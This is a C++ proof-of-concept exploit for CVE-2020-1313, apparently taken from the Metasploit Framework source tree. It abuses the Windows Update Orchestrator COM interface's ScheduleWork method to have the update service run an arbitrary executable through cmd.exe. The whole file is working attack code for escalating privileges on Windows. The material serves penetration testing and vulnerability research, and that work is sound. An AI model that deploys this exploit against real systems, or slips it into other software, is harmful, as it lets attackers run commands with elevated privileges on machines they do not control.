rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2020-1313/cve-2020-1313-exe/cve-2020-1313-exe/cve-2020-1313.cpp

Summary

Maintainability
Test Coverage
// Research and poc by Imre Rad

#include <iostream>
#include <string>
#include <strsafe.h>
#include <inttypes.h> /* For PRIu64 */
#include <comdef.h>

GUID CLSID_UniversalOrchestrator = { 0x9c695035,0x48d2,0x4229,{0x8b,0x73,0x4c,0x70,0xe7,0x56,0xe5,0x19} };

class __declspec(uuid("c53f3549-0dbf-429a-8297-c812ba00742d")) IUniversalOrchestrator : public IUnknown {
public:
    virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
    virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
    virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
};
_COM_SMARTPTR_TYPEDEF(IUniversalOrchestrator, __uuidof(IUniversalOrchestrator));


void ThrowOnError(HRESULT hr)
{
    if (hr != 0)
    {
        throw _com_error(hr);
    }
}

template <class myType>
myType InitRemoteComStuff(GUID& clsid)
{
    myType service;
    ThrowOnError(CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&service)));

    DWORD authn_svc;
    DWORD authz_svc;
    LPOLESTR principal_name;
    DWORD authn_level;
    DWORD imp_level;
    RPC_AUTH_IDENTITY_HANDLE identity;
    DWORD capabilities;

    ThrowOnError(CoQueryProxyBlanket(service, &authn_svc, &authz_svc, &principal_name, &authn_level, &imp_level, &identity, &capabilities));
    ThrowOnError(CoSetProxyBlanket(service, authn_svc, authz_svc, principal_name, authn_level, RPC_C_IMP_LEVEL_IMPERSONATE, identity, capabilities));

    return service;
}

class CoInit
{
public:
    CoInit() {
        CoInitialize(nullptr);
    }

    ~CoInit() {
        CoUninitialize();
    }
};

void CallUniversalOrchestrator(wchar_t* exe_to_run) {
    wchar_t m_id[256];
    wchar_t cmd_string[512];
    CoInit coinit;
    try
    {
        printf("Obtaining reference to IUniversalOrchestrator\n");
        IUniversalOrchestratorPtr service = InitRemoteComStuff<IUniversalOrchestratorPtr>(CLSID_UniversalOrchestrator);

        SYSTEMTIME time;
        GetSystemTime(&time);
        int64_t time_ms = (time.wSecond * 1000) + time.wMilliseconds;

        swprintf_s(m_id, L"%" PRId64, time_ms);
        swprintf_s(cmd_string, L"/c %s", exe_to_run);
        wprintf(L"Scheduling work with id %ws\n", m_id);
        ThrowOnError(service->ScheduleWork(
            m_id,
            const_cast<LPWSTR>(L"c:\\windows\\system32\\cmd.exe"),
            const_cast<LPWSTR>(cmd_string), // start command args
            const_cast<LPWSTR>(cmd_string)) // start command args
        );
        printf("Succeeded. You may verify HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.\n");
    }
    catch (const _com_error& error)
    {
        printf("%ls\n", error.ErrorMessage());
        printf("%08X\n", error.Error());
    }
}

int wmain(int argc, wchar_t* argv[], wchar_t* envp[])
{
    if (argc != 2) {
        wprintf(L"Incorrect parameter list: exe exe_to_run\n");
    }
    else {
        CallUniversalOrchestrator(argv[1]);
        return 0;
    }
}